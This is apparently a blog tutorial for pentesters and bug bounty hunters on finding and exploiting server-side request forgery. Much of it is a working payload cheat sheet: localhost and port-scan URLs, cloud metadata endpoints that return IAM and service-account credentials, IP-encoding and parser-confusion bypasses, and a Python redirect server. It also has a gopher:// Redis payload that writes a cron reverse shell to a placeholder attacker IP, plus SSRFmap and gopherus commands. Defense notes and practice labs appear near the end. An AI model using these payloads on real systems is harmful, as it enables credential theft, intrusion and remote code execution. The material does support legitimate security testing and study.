Server-Side Request Forgery (SSRF) is one of the most dangerous and consistently exploited web vulnerabilities of the last five years. It made the OWASP Top 10 in 2021 and has been weaponized in some of the biggest breaches in cloud history — including the Capital One breach that exposed 100 million records.
If you’re doing web application pentesting or bug bounty hunting in 2026 and you’re not hunting SSRF systematically, you’re leaving money and flags on the table.
This guide covers everything: what SSRF is, how to find it, how to exploit it, cloud metadata attacks, blind SSRF techniques, and every filter bypass worth knowing.
What Is SSRF?
SSRF happens when an attacker can make a server-side application send HTTP requests to an arbitrary destination — one the attacker controls or one that would normally be off-limits.
The classic scenario: a web app has a feature that fetches a URL server-side (thumbnail generator, URL preview, webhook validator, PDF renderer, etc.). If the app doesn’t validate what URLs it will request, an attacker can point it at internal services, cloud metadata APIs, or other sensitive endpoints the attacker couldn’t reach directly.
Normal: User → Web App → External API
SSRF: User → Web App → Internal/Restricted Service
The web server becomes a proxy the attacker controls.
Why SSRF Is So Dangerous in 2026
Most targets today run on cloud infrastructure. Every major cloud provider exposes a metadata API accessible at a well-known internal IP — and those APIs contain credentials, tokens, and configuration data for the entire instance.
- AWS:
http://169.254.169.254/latest/meta-data/ - GCP:
http://metadata.google.internal/computeMetadata/v1/ - Azure:
http://169.254.169.254/metadata/instance
Successful SSRF against a cloud host = access to IAM credentials = potential full account takeover. That’s why this vulnerability class gets critical-severity ratings and five-figure bug bounties.
SSRF Entry Points: Where to Look
URL-Based Parameters
Any parameter that accepts a URL is a candidate:
?url=https://example.com
?image=https://example.com/photo.jpg
?webhook=https://target.com/notify
?redirect=https://example.com
?next=https://example.com/dashboard
?callback=https://example.com/api
?feed=https://rss.example.com/feed.xml
?fetch=https://api.example.com/data
?proxy=https://example.com
?endpoint=https://api.example.com
File Import Features
- Import from URL (Google Docs-style import)
- “Fetch from link” features
- Social media preview generators
- PDF/screenshot generators
- Webhook configuration panels
Server-Side XML Parsing (XXE → SSRF)
XXE vulnerabilities can chain into SSRF when external entities trigger server-side requests. Worth chaining if you find XML input.
HTTP Headers
Some applications server-side-validate URLs passed in headers:
X-Forwarded-For: http://internal-service/
Referer: http://169.254.169.254/
Host: internal.example.com
Less common, but worth testing against older/custom applications.
Basic SSRF Exploitation
Step 1: Confirm SSRF Exists
Start with your Burp Collaborator or interactsh domain:
?url=https://your-collaborator.burpcollaborator.net
If you get a DNS lookup or HTTP request in Collaborator, SSRF is confirmed — even if the response to you is empty. That’s blind SSRF, and it’s still exploitable.
Step 2: Probe Internal Networks
Once confirmed, start probing internal address space:
?url=http://localhost/
?url=http://127.0.0.1/
?url=http://0.0.0.0/
?url=http://[::1]/ ← IPv6 localhost
?url=http://127.1/ ← shorthand notation
?url=http://2130706433/ ← decimal IP for 127.0.0.1
?url=http://0x7f000001/ ← hex IP for 127.0.0.1
If any of these return different responses (content, timing, error messages), internal services are reachable.
Step 3: Port Scan Internal Services
Use SSRF as a port scanner against common internal ports:
http://localhost:22 → SSH (connection refused / timeout difference)
http://localhost:3306 → MySQL
http://localhost:6379 → Redis
http://localhost:5432 → PostgreSQL
http://localhost:8080 → Internal admin panel
http://localhost:8443 → Internal HTTPS
http://localhost:9200 → Elasticsearch
http://localhost:2375 → Docker API (unauthenticated!)
http://localhost:4001 → etcd
http://127.0.0.1:11211 → Memcached
Response behavior (timing, size, error type) tells you what’s open vs. closed.
Cloud Metadata Attacks
This is where SSRF becomes critical-severity.
AWS EC2 Metadata
IMDSv1 (still common in older deployments):
# Get all metadata
http://169.254.169.254/latest/meta-data/
# Get IAM credentials — this is the jackpot
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
The IAM credentials endpoint returns:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-09-15T23:00:00Z"
}
That’s temporary AWS credentials you can use with aws-cli to operate as the EC2 instance role.
IMDSv2 (the newer, protected version):
AWS introduced IMDSv2 as a defense specifically against SSRF. It requires a PUT request with a session token first:
# Step 1: Get token
curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Step 2: Use token in GET
curl -H "X-aws-ec2-metadata-token: TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
IMDSv2 defeats simple SSRF because the PUT step typically can’t be replicated through a basic URL-fetch SSRF. But if the SSRF allows custom headers, or if the application follows redirects, it may still be exploitable.
Other useful AWS metadata:
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/security-groups
http://169.254.169.254/latest/user-data ← Often contains bootstrap scripts with secrets
GCP Metadata
# Requires this header: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/
# Service account tokens
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Project info
http://metadata.google.internal/computeMetadata/v1/project/project-id
# SSH keys
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
GCP’s metadata API requires the Metadata-Flavor: Google header. If the vulnerable application passes through custom headers, you can exploit it. If not, look for applications that make server-side requests and pass headers along.
Azure Metadata
# Requires header: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Managed Identity credentials
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Blind SSRF Techniques
Many SSRF vulnerabilities don’t return server responses to the attacker. The app makes the request but only uses the result internally (or discards it). This is “blind SSRF” — harder to exploit but still valuable.
Out-of-Band (OOB) Detection
Use a callback server to detect blind SSRF:
Burp Suite Collaborator (in Burp Pro):
?url=http://your-id.burpcollaborator.net
interactsh (open source alternative):
# Install
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start listener
interactsh-client
# Use generated URL in payload
?url=http://abc123.oast.fun
Webhook.site:
?url=https://webhook.site/your-unique-id
Any DNS lookup or HTTP request to your callback server confirms SSRF even with zero response.
Blind SSRF to RCE via Internal Services
Blind SSRF becomes dangerous when internal services are exploitable:
Redis via Gopher (SSRF → RCE):
gopher://localhost:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0A%0A%2F%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FYOUR_IP%2F4444%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
This writes a cron job to Redis that executes a reverse shell — if Redis is running as root or the cron user.
Elasticsearch:
http://localhost:9200/_cat/indices
http://localhost:9200/<index>/_search
Exposes all indexed data without authentication (in older/misconfigured deployments).
Docker API:
http://localhost:2375/containers/json
http://localhost:2375/images/json
http://localhost:2375/containers/create
Unauthenticated Docker socket = container escape, new container with host volume mount, full host compromise.
SSRF Filter Bypass Techniques
Most developers know about SSRF and add blocklists. Here’s how to bypass them.
IP Representation Alternatives
Blocklists that check for 127.0.0.1 or localhost often miss these:
# Decimal notation
http://2130706433/ # 127.0.0.1 in decimal
# Octal notation
http://0177.0.0.1/ # 127.0.0.1 in octal
# Hex notation
http://0x7f000001/ # 127.0.0.1 in hex
# Mixed notation
http://0177.0.0x1/
# Short notation
http://127.1/ # Valid, resolves to 127.0.0.1
# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
# 0.0.0.0
http://0.0.0.0/ # Resolves to localhost on many systems
# URL encoding
http://127.0.0.1%00.example.com/ # Null byte truncation
DNS-Based Bypass
Register a domain that resolves to 127.0.0.1:
# localtest.me resolves all subdomains to 127.0.0.1
http://localtest.me/
http://anything.localtest.me/
http://169.254.169.254.localtest.me/ ← won't work for metadata, but useful for localhost
# nip.io - embed IP in subdomain
http://127.0.0.1.nip.io/
http://169.254.169.254.nip.io/
DNS Rebinding
For sophisticated bypasses, DNS rebinding attacks make an external domain first resolve to a legitimate IP (passing blocklist check), then resolve to an internal IP on the subsequent request. Requires setup but bypasses most DNS-based filters.
Tools: Singularity of Origin , custom DNS server.
Redirect-Based Bypass
If the blocklist checks the initial URL but not redirects, host a redirect server:
# Simple redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 80), Redirect).serve_forever()
Point SSRF at your server → it redirects to metadata API → app follows redirect.
URL Parsing Confusion
Exploit differences between URL parsers:
# Authority confusion
http://evil.com@localhost/ # Some parsers see host as "localhost"
http://localhost#evil.com/
http://localhost?.evil.com/
# Path traversal after redirect
http://legitimate.com/../../admin
# Scheme confusion
javascript://comment
data://text/plain;base64,SSdtIGV2aWw=
file:///etc/passwd # If file:// scheme is allowed
Protocol Smuggling with Gopher
The gopher:// scheme lets you send raw bytes over a TCP connection — useful for protocols that don’t speak HTTP:
# Generic format
gopher://<host>:<port>/<data>
# Redis command injection via gopher
gopher://localhost:6379/_%2A1%0D%0A%249%0D%0Aflushall%0D%0A
# Memcached via gopher
gopher://localhost:11211/_%0d%0aset%20ssrfkey%20
# SMTP via gopher (internal email spoofing)
gopher://localhost:25/...
SSRF in Common Frameworks and Libraries
Python Requests (Server-Side)
Code that does:
import requests
url = request.args.get('url')
resp = requests.get(url)
No validation = SSRF. Test with http://localhost/ or any internal IP.
Java’s URL / HttpURLConnection
Java follows redirects by default and supports unusual URL schemes. Test:
file:///etc/passwd
jar:http://evil.com/evil.jar!/
dict://localhost:11211/
Node.js / Axios / node-fetch
Same pattern — if user input reaches axios.get(url) or fetch(url) without validation, it’s SSRF.
SSRF in Real-World Scenarios
Webhook Validators
“Enter your webhook URL, we’ll send a test event”:
Webhook URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/
PDF/Screenshot Services
Headless Chrome or wkhtmltopdf rendering user-supplied URLs:
URL to render: http://localhost:8080/admin/
These often bypass simple filters because the renderer is a full browser — it may also execute JavaScript, enabling DOM-based attacks on internal services.
Image Upload “Import from URL”
Image URL: http://internal-storage-service/private/photos/employee_data.csv
Kubernetes / Docker Environments
Internal service discovery is common in k8s:
http://kubernetes.default.svc/api/v1/secrets
http://etcd.kube-system.svc:2379/v2/keys
http://10.0.0.1:10250/pods ← Kubelet API
SSRF Detection with Burp Suite
Automated Scanning
- Burp Collaborator — enables passive SSRF detection on all requests
- Burp Active Scanner — injects SSRF payloads into URL parameters
- Param Miner — discovers hidden parameters that might accept URLs
Manual Hunting Workflow
- Enable Burp Collaborator
- Spider target — look for any functionality that fetches remote content
- For each URL parameter: replace value with Collaborator URL
- Check Collaborator for DNS/HTTP interactions
- For confirmed SSRF: escalate to internal IP probing
Custom Scan Profile
Add to Burp’s active scan insertion points:
http://burp-collaborator-id.burpcollaborator.net
http://169.254.169.254/latest/meta-data/
http://localhost/
Tooling
| Tool | Purpose |
|---|---|
| Burp Suite Pro | Primary SSRF detection and exploitation |
| interactsh | Open-source OOB callback for blind SSRF |
| SSRFmap | Automated SSRF exploitation |
| gopherus | Generates gopher:// payloads for common services |
| SSRF Sheriff | Internal SSRF detection service for bug bounties |
| nuclei | Template-based SSRF scanning at scale |
SSRFmap — automated exploits for confirmed SSRF:
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
python3 ssrfmap.py -r request.txt -p url -m portscan
python3 ssrfmap.py -r request.txt -p url -m redis
python3 ssrfmap.py -r request.txt -p url -m aws
gopherus — generates gopher payloads:
git clone https://github.com/tarunkant/Gopherus
python3 gopherus.py --exploit redis
python3 gopherus.py --exploit smtp
python3 gopherus.py --exploit mysql
Need a VPS for your SSRF callback server? Vultr and DigitalOcean both have cheap $4-6/month instances you can spin up, run interactsh or a redirect server, and tear down when the engagement is over.
SSRF Exploitation Methodology
1. Discover → Find URL parameters, import features, webhooks
2. Confirm → OOB callback (Collaborator/interactsh)
3. Classify → Verbose (full response) vs. Blind (OOB only)
4. Escalate →
├── Verbose SSRF → probe internal IPs/ports, cloud metadata
├── Blind SSRF → OOB exfil via DNS, chain to internal vuln
└── Cloud target → IAM credentials via metadata API
5. Impact → Document access level, credentials obtained, data exposed
Defense Notes (for Reports)
When you’re writing up SSRF findings, defenders need to know what works:
- Allowlist outbound URLs — deny by default, allow only what’s needed
- Disable unused URL schemes — block
file://,gopher://,dict://,ftp:// - Resolve DNS before blocklist check — prevent DNS rebinding bypasses
- Use IMDSv2 on AWS — requires PUT token, defeats most SSRF attacks on metadata API
- Block metadata IPs at firewall level — network-layer defense
- Avoid following redirects — or validate after redirect
- WAF with SSRF rules — Cloudflare, AWS WAF, and ModSecurity have SSRF rulesets
Practice Labs
- PortSwigger Web Security Academy — 13 SSRF labs, free, best structured learning
- HackTheBox — machines with real SSRF chains
- TryHackMe — beginner-friendly SSRF rooms
- DVWA — local lab, limited SSRF coverage but good for basics
- VulnHub — several VMs with SSRF as part of larger chains
Key Takeaways
- SSRF = making the server be your proxy to internal/restricted resources
- Cloud metadata APIs are the highest-value SSRF target in 2026
- Blind SSRF is still exploitable via OOB callbacks and chaining to internal vulns
- Every filter has a bypass — test multiple IP representations and schemes
- gopher:// protocol turns SSRF into a raw TCP injector against Redis, SMTP, etc.
- IMDSv2 hardens AWS but doesn’t eliminate SSRF risk — other internal services remain
SSRF is one of those vulnerabilities that scales with your target. Against a startup with EC2 instances and no IMDSv2, it’s a credential dump and potential full account takeover. Against a hardened cloud deployment, it still opens doors to internal services that weren’t meant to be reachable. Either way, it’s worth hunting.
Want professional pentest reports written for your findings? CipherWrite handles technical writing for security professionals — from bug bounty writeups to full red team reports.
